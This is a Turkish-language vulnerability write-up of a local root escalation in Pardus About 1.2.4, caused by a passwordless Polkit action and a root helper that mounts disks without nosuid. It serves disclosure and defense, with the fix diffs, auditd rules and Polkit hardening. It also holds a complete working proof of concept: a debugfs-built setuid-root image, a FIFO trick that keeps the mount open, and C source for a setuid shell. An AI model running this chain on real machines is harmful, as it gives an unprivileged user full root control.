---
title: "CVE-2026-87772: Pardus About Mount Yardımcısı Üzerinden Root Yetkisi"
description: "CVE-2026-87772 kök neden analizi: Pardus About'ın parolasız Polkit eylemi, bağlı diskleri defaults,ro ile mount eden bir root yardımcısı başlatıyordu; disk üzerindeki bir setuid ikilisi yerel kullanıcıya root veriyordu. 1.2.5'te düzeltildi."
date: 2026-09-15
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/arastirma/cve-2026-87772-pardus-about-root-mount/
---

> **İfşa:** CVE-2026-87772 (CWE-863, CWE-266), Pardus About (`pardus-about`) uygulamasının 1.2.4'e kadar olan sürümlerini etkiler. Zafiyeti izole bir laboratuvarda buldum ve Pardus / TÜBİTAK BİLGEM ekibine bildirdim. 1.2.5 sürümünde [`59ff522`](https://github.com/pardus/pardus-about/commit/59ff522ee7f269c9c189c69de44a5c8654f07a48) ve [`b439777`](https://github.com/pardus/pardus-about/commit/b439777359637bbd7750d9cc2570d250162ab0ef) commit'leriyle düzeltildi.

Pardus About sistem bilgilerini gösterir ve makinede kurulu diğer işletim sistemlerini tespit eder. 1.2.4 sürümünde, etkin bir masaüstü oturumuna sahip herhangi bir yerel kullanıcı, uygulamanın root yardımcısını parola girmeden çalıştırabiliyordu ve bu yardımcı bulduğu her bölümü `defaults,ro` ile mount ediyordu. Bu seçenekler, mount edilen dosya sistemindeki setuid ikililerinin çalışmaya devam etmesini sağlar. Dolayısıyla root sahipliğinde bir setuid ikilisi taşıyan bir disk, o kullanıcıya root shell kazandırır.

Saldırganın etkin bir grafik oturumuna yerel erişimi ve kontrol ettiği bir blok aygıtı olması gerekir; USB disk veya `udisks2` üzerinden bağlanan bir loop aygıtı bunun tipik örnekleridir. İki karar birleşerek bu sonucu doğurur: Polkit eylemi `system_info` için `allow_active=yes` ayarlıdır ve arkasındaki yardımcı, diskleri `nosuid`, `nodev` ve `noexec` olmadan mount eder. Tek başına her iki tercih de savunulabilir görünür; bir araya geldiklerinde ise yetki yükseltme zinciri tamamlanır. Saldırganın kötü niyetli bir disk hazırlaması yeterlidir; hedef makinede ayrıca bir yazılım açığı gerekmez.

## Kanıt matrisi

Aşağıdaki matris, zafiyetin hangi koşullarda doğrulandığını ve hangi soruların açık kaldığını özetler. Amaç, sonucu tek bir gözleme değil birbirini destekleyen birden çok kanıta dayandırmaktır.

| Soru | Neyi denetledim | Güven | Belirsiz kalan |
|---|---|---:|---|
| Hangi sürümler etkileniyor? | Pardus 25.2 üzerinde `pardus-about` 1.2.4 ve Debian paketli sürümler. | Yüksek | `defaults,ro` seçeneğini ilk getiren commit belirlenemedi. |
| Hangi saldırgan konumu gerekiyor? | Etkin grafik oturumuna sahip ayrıcalıksız yerel kullanıcı (`allow_active=yes`). | Yüksek | Uzaktan istismar geçerli değildir. |
| Yetkilendirme neden parolasız geçiyor? | `tr.org.pardus.pkexec.pardus-about.policy`, yardımcısı `Actions.py` olan `system_info` eylemi için `allow_active=yes` ayarlıyor. | Yüksek | Upstream'in pkexec yardımcısını kaldırmayı planlayıp planlamadığı. |
| Mount işlemini istismar edilebilir kılan nedir? | Mount seçenekleri `nosuid` içermiyor; bu yüzden root sahipliğindeki bir setuid ikilisi çalıştırıldığında `euid=0` korunuyor. | Yüksek | Yalnızca loopback ext4 imajlarıyla test edildi. |
| Unmount yarışı nasıl yönetiliyor? | Mount içinde bir referans tutmak veya yardımcıyı bir FIFO üzerinde bloklamak. | Yüksek | Yavaş medya ile NVMe arasındaki zamanlama ölçülmedi. |
| Düzeltme çalışıyor mu? | `b439777` seçenekleri `ro,nosuid,nodev,noexec` yapıyor. `59ff522` `/run/winroot` dizinini `root:root` ve 0700 moduna alıyor. | Yüksek | Bu incelemede medya mount eden diğer çağrı noktaları gözden geçirilmedi. |

## İlk sınır: parolasız Polkit yetkilendirmesi

Polkit, ayrıcalıksız bir sürecin ayrıcalıklı bir eylemi çalıştırıp çalıştıramayacağına karar verir; örneğin `pkexec` üzerinden. 1.2.4 sürümündeki `tr.org.pardus.pkexec.pardus-about.policy` dosyasında `system_info` eylemi şöyle tanımlanmıştır:

```xml
    <action id="tr.org.pardus.pkexec.pardus-about.system_info">
    <description>Run system report creator.</description>
    <message>Authentication is required to create system report</message>
    <message xml:lang="tr">Sistem raporu oluşturmak için yetkilendirme gerekiyor</message>
    <defaults>
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
    <annotate key="org.freedesktop.policykit.exec.path">/usr/share/pardus/pardus-about/src/Actions.py</annotate>
    <annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate>
  </action>
```

Polkit üç oturum durumunu ayırt eder:

- `allow_any`: her çağıran; örneğin uzak veya kimliği doğrulanmamış bir istemci. Burada `auth_admin`.
- `allow_inactive`: etkin seat üzerinde olmayan oturum. Burada `auth_admin`.
- `allow_active`: etkin seat üzerindeki, yani klavye ve ekranın başındaki kullanıcının oturumu. Burada `yes`.

`allow_active` değeri `yes` olduğu için `pkexec`, etkin bir oturumda `Actions.py` dosyasını kimlik doğrulama penceresi göstermeden root olarak çalıştırır. `Actions.py` ilk argüman olarak bir komut alır ve `dualboot` komutu `DualBootManager.get_dualboot_oses()` fonksiyonunu çağırır:

```python
if __name__ == "__main__":
    if len(sys.argv) >= 2:
        cmd = sys.argv[1]

        if cmd == "acpi":
            if ACPIManager.is_acpi_supported():
                sys.exit(0)
            else:
                sys.exit(1)
        elif cmd == "dualboot":
            print(DualBootManager.get_dualboot_oses())
```

Bunun test hesabındaki bir yetki sızıntısı değil, bilinçli bir politika izni olduğunu doğrulamak için aynı oturumda `pkcheck` aracını aynı politika dosyasındaki iki eyleme karşı çalıştırdım:

```bash
# system_info under an active session
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.system_info --process $$
# exit status 0: authorized

# export_report, the comparison action (auth_admin_keep)
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.export_report --process $$
# not authorized without administrator authentication (non-zero exit status)
```

Oturum, UID, seat ve ortam sabit tutulduğunda yalnızca `system_info` parolasız olarak onaylanır. Politika, sistem bilgisi raporlamanın zararsız olduğunu varsaymıştı. Oysa arkasındaki yardımcı disk mount ediyor; yani "sadece bilgi göster" varsayımı, fiilen ayrıcalıklı bir dosya sistemi işlemine dönüşüyor. Yetkilendirme katmanı yalnızca eylemin adına bakıyor, eylemin gerçekte ne yaptığını değerlendirmiyor.

## İkinci sınır: medyayı root olarak mount etmek

`get_dualboot_oses()` root olarak çalışır. `/sys/block` altında bulduğu her bölüm için, kök bölüm hariç, bölümü `/run/winroot` üzerine mount eder, Windows, macOS ve Linux işaret dosyalarını arar, varsa `/etc/os-release` dosyasını okur ve `umount -lf` ile ayırır:

```python
def get_dualboot_oses():
    dualboot = {}
    os.makedirs("/run/winroot", exist_ok=True)
    root_part = get_root_part()
    for part in list_parts():
        if f"/dev/{part}" == root_part:
            continue
        sp = subprocess.run(
            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
            capture_output=True,
        )
        if 0 == sp.returncode:
            # Windows
            if os.path.exists("/run/winroot/Windows/System32/ntoskrnl.exe"):
                dualboot[part] = "Windows " + get_windows_version()
            # Mac OS X
            if os.path.exists(
                "/run/winroot/System/Library/CoreServices/SystemVersion.plist"
            ):
                dualboot[part] = "Mac OS X"
            # Linux
            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:
                    for line in f.read().split("\n"):
                        if line.startswith("NAME="):
                            dualboot[part] = line[6:-1]
            os.system("umount -lf /run/winroot")

    os.rmdir("/run/winroot")
    return json.dumps(dualboot)
```

Mount seçenekleri `defaults,ro` şeklindedir. `util-linux` içindeki `mount(8)` aracında `defaults` şu bayraklara açılır:

```bash
rw, suid, dev, exec, auto, nouser, async
```

`ro`, `rw` seçeneğini ezer ve süperblok üzerinde `MS_RDONLY` bayrağını etkinleştirir. `suid` bayrağını temizleyen hiçbir şey yoktur; bu nedenle komut açıkça belirtmedikçe `MS_NOSUID` ve `MS_NOEXEC` ayarlanmamış kalır. Bu ayrıntı, "salt okunur" ifadesinin güvenlik açısından neden yanıltıcı olduğunu gösterir. `ro` yalnızca veri bütünlüğünü korur; yürütme ve aygıt erişimi ayrı bayraklarla denetlenir.

Yardımcı ayrıca aygıt listesinin kendisine de güvenir. `list_parts()`, `/sys/block` altındaki her girdiyi dolaşır ve kök dosya sistemi dışındaki her bölümü mount eder; bunun sabit bir dahili disk mi yoksa kullanıcının az önce taktığı bir şey mi olduğunu denetlemez. Saldırganın kontrol ettiği bir loop aygıtı veya USB bellek, tıpkı bir dahili bölüm gibi mount edilir; böylece root olarak mount edilecek dosya sistemini saldırgan seçer.

<figure class="diagram">
<svg viewBox="0 0 760 280" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Ayrıcalıksız bir kullanıcı, parola gerektirmeyen bir Polkit eylemiyle Pardus About yardımcısını başlatır. Root yardımcısı, saldırganın kontrol ettiği ortamı nosuid olmadan mount eder; üzerindeki bir setuid ikilisi root olarak çalışır.">
<defs><marker id="pardus-a" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker></defs>
<text x="0" y="24" class="dg-crit">PARDUS ABOUT 1.2.4'TE YEREL YETKİ YÜKSELTME</text>
<rect x="0" y="52" width="136" height="78" rx="8" class="dg-box" />
<text x="16" y="78" class="dg-label">Aktif oturum</text><text x="16" y="100" class="dg-muted">ayrıcalıksız kullanıcı</text>
<line x1="138" y1="91" x2="178" y2="91" class="dg-line dg-crit-line" marker-end="url(#pardus-a)" />
<rect x="182" y="52" width="160" height="78" rx="8" class="dg-box-crit" />
<text x="198" y="78" class="dg-label">polkit system_info</text><text x="198" y="100" class="dg-crit">allow_active=yes</text>
<line x1="344" y1="91" x2="384" y2="91" class="dg-line dg-crit-line" marker-end="url(#pardus-a)" />
<rect x="388" y="52" width="168" height="78" rx="8" class="dg-box-crit" />
<text x="404" y="78" class="dg-label">Actions.py dualboot</text><text x="404" y="100" class="dg-crit">/run/winroot'a mount</text>
<line x1="558" y1="91" x2="598" y2="91" class="dg-line dg-crit-line" marker-end="url(#pardus-a)" />
<rect x="602" y="52" width="158" height="78" rx="8" class="dg-box-crit" />
<text x="618" y="78" class="dg-label">Root yürütme</text><text x="618" y="100" class="dg-muted">setuid bitine uyulur</text>
<line x1="262" y1="132" x2="262" y2="198" class="dg-line dg-dash" />
<rect x="182" y="202" width="230" height="58" rx="8" class="dg-box-accent" />
<text x="198" y="226" class="dg-label">Parola istemi yok</text><text x="198" y="246" class="dg-accent">aktif oturum yeterli</text>
<text x="430" y="220" class="dg-muted">1.2.4 "defaults,ro" ile mount eder,</text>
<text x="430" y="242" class="dg-muted">nosuid, nodev ve noexec olmadan.</text>
</svg>
<figcaption>Parolasız Polkit yetkilendirmesi ile <code>nosuid</code> olmadan yapılan mount birleşerek yerel root yetkisi yükseltmesine dönüşür.</figcaption>
</figure>

## Salt okunur mount setuid'i yine de uygular

`ro` dosya sistemine yazmayı engeller. Ancak üzerindeki bir program çalıştırıldığında çekirdeğin setuid bitini dikkate almasını durdurmaz. `execve()` sırasında çekirdek, mount `nosuid` (`MNT_NOSUID`) taşımıyorsa etkin UID'yi dosyanın sahibinden alır. Bu nedenle `ext4` dosya sistemi taşıyan ve modu `4755` olan root sahipliğinde bir dosya içeren bir disk, mount `nosuid` içermediği sürece, onu çalıştıran herkes için `euid=0` ile başlar. Yazma koruması ile yürütme yetkisi birbirinden bağımsız iki özelliktir; birini etkinleştirmek diğerini kapatmaz. Bu yüzden `ro` tek başına güvenilmeyen medya için yeterli bir savunma değildir.

## Mount'u canlı tutmak

Yardımcı bir bölümü mount eder, inceler ve hızla yeniden ayırır. `/run/winroot/rootshell` dosyasını çalıştırmak isteyen saldırganın bunu mount var olduğu sırada yapması gerekir. Bu pencereyi genişletmenin iki yolu vardır:

### Yöntem 1: mount içinde bir referans tutmak

Yardımcı `umount -lf`, yani tembel bir unmount kullanır. `/run/winroot` dizinini hemen ayırır; ancak herhangi bir sürecin çalışma dizini veya açık bir dosyası o dosya sisteminin içindeyse dosya sistemi canlı kalır. Unmount'tan önce mount dizinine geçmiş bir shell, oradan `./rootshell` çalıştırmaya devam edebilir. Yine de mount'a girmek, mount ile unmount arasındaki kısa boşluğu kazanmak anlamına gelir; örneğin `mountpoint -q /run/winroot` ile yoklayarak.

### Yöntem 2: `os-release` yerine bir FIFO

Yardımcı, her Linux bölümünün sürüm dosyasını okumak için açar:

```python
            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:
```

Saldırganın imajındaki `etc/os-release` bir FIFO ise (`debugfs` içinde `mknod etc/os-release p`), `open()` diğer uçtan bir yazıcı açana kadar bloklanır. Root süreç `TASK_INTERRUPTIBLE` durumunda uyurken mount yerinde kalır ve saldırgan setuid ikilisini istediği zaman çalıştırabilir. FIFO'yu yazma için açmak yardımcının devam etmesini ve unmount yapmasını sağlar. Bu yöntem, zamanlama yarışını tamamen ortadan kaldırdığı için daha güvenilirdir. Saldırganın hızlı olması gerekmez; mount, kendisi karar verene kadar açık kalır.

## Kavram kanıtı

Sorunu, loopback ext4 imajı kullanan izole bir Pardus 25.2 laboratuvarında dört adımda yeniden ürettim. Her adım, zincirin bir sonraki halkasını ayrı ayrı doğrular. Saldırgan tarafı disk hazırlığı, kurban tarafı tetikleme ve temizlik betikleri [github.com/jankesec/CVE-2026-87772-pardus-about-lpe](https://github.com/jankesec/CVE-2026-87772-pardus-about-lpe) adresinde yayımlanmıştır.

### Adım 1: imajı oluşturmak

Ayrıcalıksız kullanıcı olarak setuid yükünü taşıyan 32 MB'lık bir ext4 imajı oluşturuyorum. `os-release` dosyasını normal bir dosya yerine FIFO yapıyorum; böylece yardımcı okuma sırasında bloklanır ve mount deterministik biçimde açık kalır — yukarıdaki 2. Yöntem, zamanlama yarışını ortadan kaldırır:

```bash
# 1. Create the image file
dd if=/dev/zero of=/tmp/dualboot_test.img bs=1M count=32
mkfs.ext4 -F -L "Windows" /tmp/dualboot_test.img

# 2. Fill it with debugfs, which needs no privileges on an image you own
debugfs -w /tmp/dualboot_test.img << 'EOF'
write /tmp/rootshell rootshell
set_inode_field rootshell mode 0104755
set_inode_field rootshell uid 0
set_inode_field rootshell gid 0
mkdir etc
mknod etc/os-release p
EOF
```

`/tmp/rootshell`, küçük bir C setuid sarmalayıcısıdır:

```c
// rootshell.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(void) {
    // Mount nosuid taşımadığı için bu setuid-root ikilisi zaten euid=0 ile başlar.
    // bash -p, etkin UID'yi gerçek UID'ye düşürmek yerine korur.
    printf("[+] Successfully escalated to root: UID=%d, EUID=%d\n", getuid(), geteuid());
    char *args[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", args, NULL);
    return 0;
}
```

### Adım 2: imajı bağlamak

Etkin bir masaüstü kullanıcısı `udisks2` üzerinden bir loop aygıtı bağlayabilir; bu işlem root parolası istemez ve zafiyetin yerel erişim gereksinimiyle uyumludur:

```bash
udisksctl loop-setup --file /tmp/dualboot_test.img
# Mapped file /tmp/dualboot_test.img as /dev/loop0.
```

### Adım 3: ayrıcalıklı keşfi tetiklemek

Aygıt bağlandıktan sonra yardımcıyı Pardus About'ın yaptığı şekilde, arka planda çalıştırıyorum; çünkü imajımı mount ettikten sonra FIFO üzerinde bloklanacak:

```bash
pkexec /usr/share/pardus/pardus-about/src/Actions.py dualboot &
```

Oturum etkin olduğu için Polkit `allow_active=yes` kuralını uygular ve `Actions.py` dosyasını root olarak çalıştırır. `get_dualboot_oses()` bulduğu bölümleri `mount -o defaults,ro` ile `/run/winroot` üzerine mount eder, ardından `etc/os-release` konumundaki FIFO'yu okumaya çalışırken bloklanır ve bu, mount'u açık tutar.

### Adım 4: yükü çalıştırmak

Yardımcı FIFO üzerinde beklediği için mount, ben serbest bırakana kadar yerinde kalır. `/proc/mounts` bayrakları gösterir:

```bash
/dev/loop0 /run/winroot ext4 ro,relatime 0 0
```

Bayraklar `ro,relatime`. `nosuid` yok. Yardımcı bloklanmış durumdayken setuid ikilisini çalıştırıyor, ardından FIFO'yu yazma için açarak yardımcının tamamlanmasını ve unmount etmesini sağlıyorum:

```bash
$ /run/winroot/rootshell
[+] Successfully escalated to root: UID=1000, EUID=0
# whoami
root
# id
uid=1000(testuser) gid=1000(testuser) euid=0(root) groups=1000(testuser),27(sudo)
```

Gerçek UID `1000` olarak kalır; etkin UID ise `nosuid` hiç uygulanmamış bir mount üzerindeki setuid bitinden devralınan `0`'dır. FIFO, zamanlama yarışını tamamen ortadan kaldırır ve benden hiçbir zaman yönetici parolası istenmedi. Bu, zafiyetin yalnızca teorik bir yapılandırma hatası değil, son kullanıcı açısından doğrudan tam ele geçirme olduğunu gösterir.

## Düzeltme

1.2.5 sürümündeki iki commit `src/util/DualBootManager.py` dosyasını değiştirdi. [`b439777`](https://github.com/pardus/pardus-about/commit/b439777359637bbd7750d9cc2570d250162ab0ef) (2026-09-10, "winroot: mount nodev noexec nosuid") mount seçeneklerini değiştirir:

```diff
--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -59,7 +59,7 @@ def get_dualboot_oses():
         if f"/dev/{part}" == root_part:
             continue
         sp = subprocess.run(
-            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
+            ["mount", "-o", "ro,nosuid,nodev,noexec", f"/dev/{part}", "/run/winroot"],
             capture_output=True,
         )
         if 0 == sp.returncode:
```

[`59ff522`](https://github.com/pardus/pardus-about/commit/59ff522ee7f269c9c189c69de44a5c8654f07a48) (2026-09-09, "set /run/winroot directory permission: prevent read files from non-root users") ise herhangi bir şey mount edilmeden önce mount noktasını `root:root` ve 0700 moduna getirir:

```diff
--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -52,6 +52,8 @@ def get_windows_version():
 def get_dualboot_oses():
     dualboot = {}
     os.makedirs("/run/winroot", exist_ok=True)
+    os.chown("/run/winroot", 0, 0)
+    os.chmod("/run/winroot", 0o700)
     root_part = get_root_part()
     for part in list_parts():
         if f"/dev/{part}" == root_part:
```

Saldırıyı durduran asıl değişiklik mount seçenekleridir; dizin izinleri ise ek bir derinlemesine savunma katmanı sağlar:

1. `nosuid`, `MNT_NOSUID` bayrağını ayarlar. `execve()`, mount altındaki dosyalarda setuid ve setgid bitlerini yok sayar.
2. `nodev`, `MNT_NODEV` bayrağını ayarlar. Dosya sistemindeki aygıt düğümleri yorumlanmaz; böylece diskte hazırlanmış bir blok aygıtı düğümü ham disklere erişmek için kullanılamaz.
3. `noexec`, `MNT_NOEXEC` bayrağını ayarlar. Mount'tan doğrudan bir ikili çalıştırmak `EACCES` ile başarısız olur.

### 1.2.5 üzerinde yeniden test

Aynı yeniden üretimi `pardus-about` 1.2.5 sürümüne karşı çalıştırdım:

```bash
$ /run/winroot/rootshell
bash: /run/winroot/rootshell: Permission denied
```

Çalıştırma, `noexec` ile beklendiği gibi reddedildi ve `/proc/mounts` çıktısı `ro,nosuid,nodev,noexec` gösterdi. Böylece üç bayrağın da gerçekten etkin olduğu yalnızca koddan değil, çalışma zamanından da doğrulandı.

## Tespit mühendisliği ve SOC telemetrisi

Yetki yükseltme zinciri sistem günlüklerinde, `auditd` olaylarında ve çekirdek mount kayıtlarında net izler bırakır. Savunma ekipleri hem yardımcının parolasız çağrılmasını hem de ardından gelen setuid ikilisi çalıştırmasını somut kurallarla izleyebilir.

### 1. Polkit yetkilendirme günlükleri

`pkexec`, etkin bir masaüstü oturumu için yardımcıyı başlattığında `systemd-journald` bir yetkilendirme kaydı tutar. Bu kayıt, ayrıcalıksız bir kullanıcının parola girmeden root yetkisiyle Python betiği çalıştırdığını gösterir:

```text
pkexec[14820]: testuser: Executing command [USER=root] [TTY=unknown] [CWD=/home/testuser] [COMMAND=/usr/share/pardus/pardus-about/src/Actions.py dualboot]
```

SIEM kuralı, `Actions.py dualboot` çağrısının normal GUI başlatma hiyerarşisi (ana `pardus-about` grafik arayüz süreci) dışında doğrudan terminal veya harici betiklerden tetiklendiği durumları şüpheli etkinlik olarak işaretleyebilir.

### 2. Setuid çalıştırması için Auditd telemetrisi

Yardımcının çağrılmasını ve güvenilmeyen mount noktalarından yetkili ikili çalıştırılmasını yakalamak için aşağıdaki kurallar kullanılır:

```bash
# /etc/audit/rules.d/99-pardus-about-lpe.rules
# Parolasız root yardımcısının çalıştırılmasını izle
-w /usr/share/pardus/pardus-about/src/Actions.py -p x -k pardus_about_helper

# Gerçek kullanıcı kimliği (uid) ayrıcalıksız iken etkin kimliğin (euid) root olduğu süreçleri yakala
-a always,exit -F arch=b64 -S execve -F euid=0 -F uid>=1000 -k setuid_privesc_exec

# nosuid içermeyen loop ve disk mount çağrılarını izle
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unpriv_mount_event
```

İstismar anında `auditd` setuid ikilisi için şu olayı üretir:

```text
type=SYSCALL msg=audit(1726052400.124:842): arch=c000003e syscall=59 success=yes exit=0
  a0=7ffe12345678 a1=7ffe12345690 a2=7ffe123456a0 items=2 ppid=14815 pid=14825
  auid=1000 uid=1000 gid=1000 euid=0 egid=0 fsuid=0 fsgid=0 tty=pts0 ses=3
  comm="rootshell" exe="/run/winroot/rootshell" key="setuid_privesc_exec"
```

Buradaki belirleyici anomali, `/run/winroot/` altından çalışan süreçte `uid=1000` olmasına rağmen `euid=0` değerinin görülmesidir.

## Geçici çözüm: Güncelleme yapmadan ilke sıkılaştırma

Paketin 1.2.5 sürümüne hemen yükseltilemediği sistemlerde, Polkit varsayılan yetkilendirme kuralı ezilerek zafiyet geçici olarak kapatılabilir.

JavaScript tabanlı Polkit (`polkitd` >= 0.106) kullanan modern sistemlerde `/etc/polkit-1/rules.d/90-pardus-about-hardening.rules` dosyası oluşturulur:

```javascript
// /etc/polkit-1/rules.d/90-pardus-about-hardening.rules
// Pardus About system info eylemi için yönetici parolası zorunlu kılınır
polkit.addRule(function(action, subject) {
    if (action.id === "tr.org.pardus.pkexec.pardus-about.system_info") {
        return polkit.Result.AUTH_ADMIN;
    }
});
```

Eski `.pkla` kural yapısını kullanan sistemlerde `/etc/polkit-1/localauthority/50-local.d/50-pardus-about-hardening.pkla` dosyası tanımlanır:

```ini
[Pardus About Hardening]
Identity=unix-user:*
Action=tr.org.pardus.pkexec.pardus-about.system_info
ResultActive=auth_admin
```

Bu ayar `allow_active` değerini `yes` yerine `auth_admin` yapar. `Actions.py` çağrıldığında sistem parola doğrulaması ister; böylece parolasız doğrudan çalıştırma engellenir.

## ATT&CK teknik eşleşmesi

| Taktik | Teknik ID | Teknik Adı | Zafiyetteki İşleyiş | Savunma Kontrolü |
| :--- | :--- | :--- | :--- | :--- |
| **Privilege Escalation** | `T1548.001` | Abuse Elevation Control: Setuid and Setgid | Saldırgan `0104755` izinli ext4 imajı hazırlar; root yardımcısı diski `nosuid` olmadan mount eder. | Güvenilmeyen depolama birimlerini `nosuid,noexec,nodev` ile bağla. |
| **Privilege Escalation** | `T1068` | Exploitation for Privilege Escalation | Hatalı Polkit kuralı ayrıcalıklı betiğin parolasız çalıştırılmasına izin verir. | Çekirdek ve mount çağrısı yapan tüm eylemlerde `auth_admin` zorunlu tut. |
| **Execution** | `T1202` | Indirect Command Execution | Ayrıcalıksız masaüstü kullanıcısı `pkexec` üzerinden `Actions.py` dosyasını tetikler. | Yardımcı betiklerin çalıştırma izinlerini kısıtla; çalıştırma zincirlerini denetle. |
| **Defense Evasion** | `T1006` | Direct Volume Access | Saldırgan `udisksctl` ile loop aygıtı ekleyerek kendi dosya izinlerini içeri aktarır. | Ayrıcalıksız loop aygıtı bağlamayı sınırla; `udisks2` dbus çağrılarını izle. |

## Etki ve CVSS

1.2.4 sürümünde ayrıcalıksız bir masaüstü kullanıcısı, kimlik doğrulaması yapmadan veya başka bir kullanıcının herhangi bir işlemine gerek kalmadan root olabilir. Root, o makinede gizlilik, bütünlük ve erişilebilirliğin tamamen kaybı anlamına gelir.

Zafiyeti CVSS 3.1 7.8 (Yüksek) olarak puanladım: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`. Saldırgan kodu yerel olarak (`AV:L`) sıradan bir etkin oturum kullanıcısı olarak (`PR:L`) çalıştırır. Özel bir koşul (`AC:L`) ve kullanıcı etkileşimi (`UI:N`) gerekmez. Skor, etkinin tam ele geçirme olduğunu, ancak saldırganın önce yerel erişim ve bir masaüstü oturumu elde etmesi gerektiğini yansıtır.

## Dersler

Bu zafiyetin asıl dersi, tek tek bileşenlerin makul görünmesinin bütünün güvenli olduğu anlamına gelmemesidir. Aşağıdaki maddeler, benzer yardımcılar tasarlarken uygulanabilecek somut kuralları listeler.

1. `ro` yazmayı engeller. Dosyaları çalıştırılamaz hâle getirmez veya aygıt düğümlerini etkisiz kılmaz. Güvenilmeyen medyayı `ro,nosuid,nodev,noexec` seçenekleriyle birlikte mount edin.
2. Mount etmeden önce aygıtı doğrulayın. Yalnızca sabit ve beklenen blok aygıtlarını mount edin (`stat.S_ISBLK` ve `/sys/block/<dev>/removable` denetimi), ya da hiç mount etmeden `lsblk -f` / `blkid` ile dosya sistemi etiketlerini okuyun. 1.2.4 yardımcısı `/sys/block` altında ne görürse mount ediyordu.
3. `allow_active=yes` iznini yalnızca CPU sıcaklığı gibi durağan veri okuyan eylemlere ayırın. Depolama mount eden, ikili çalıştıran veya dosya sistemine dokunan bir eylem `auth_admin` gerektirmelidir.
4. Dosya sistemi incelemesini özel bir mount namespace içinde (`unshare(CLONE_NEWNS)`) yapın; böylece geçici mount masaüstü oturumundan görünmez.
5. Ayrıcalıksız mount'ları ve `pkexec` çalıştırmalarını `auditd` ile izleyin:

```bash
# /etc/audit/rules.d/99-mount-privesc.rules
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unprivileged_mount
-w /usr/bin/pkexec -p x -k polkit_privilege_escalation
```

## İfşa zaman çizelgesi

Süreç, bulgudan kamuya açıklamaya kadar koordineli ifşa ilkelerine uygun ilerledi; aşağıdaki tarihler bu sırayı gösterir.

- **2026-08-22:** Yerel yetkilendirme sınırlarını araştırırken sorunu `pardus-about` 1.2.4 sürümünde buldum.
- **2026-08-25:** Raporu ve yeniden üretilebilir laboratuvar gösterimini Pardus güvenlik ekibine gönderdim.
- **2026-08-28:** Pardus bakımcıları kök nedeni doğruladı ve bir düzeltme üzerinde çalışmaya başladı.
- **2026-09-09:** `59ff522` commit'i `/run/winroot` dizinini kısıtladı.
- **2026-09-10:** `b439777` commit'i mount seçeneklerini ekledi ve 1.2.5 sürümü `debian/1.2.5` olarak etiketlendi.
- **2026-09-14:** 1.2.5 sürümünü yeniden test ettim ve düzeltmeyi doğruladım.
- **2026-09-16:** Teknik vaka dosyası ve kök neden analizi tamamlandı. CVE-2026-87772, koordineli ifşa süreciyle bulguya atandı ve Sevban Dönmez'e kredi verildi.
- **2026-11-12:** TR-CERT, CVE-2026-87772 kaydını CVE.org üzerinde yayımladı ve T.C. Siber Güvenlik Başkanlığı (SSB / USOM), [TR-26-1521](https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1521) bildirimini yayımlayarak pardus-about 1.2.5 veya sonrasına yükseltmeyi önerdi.
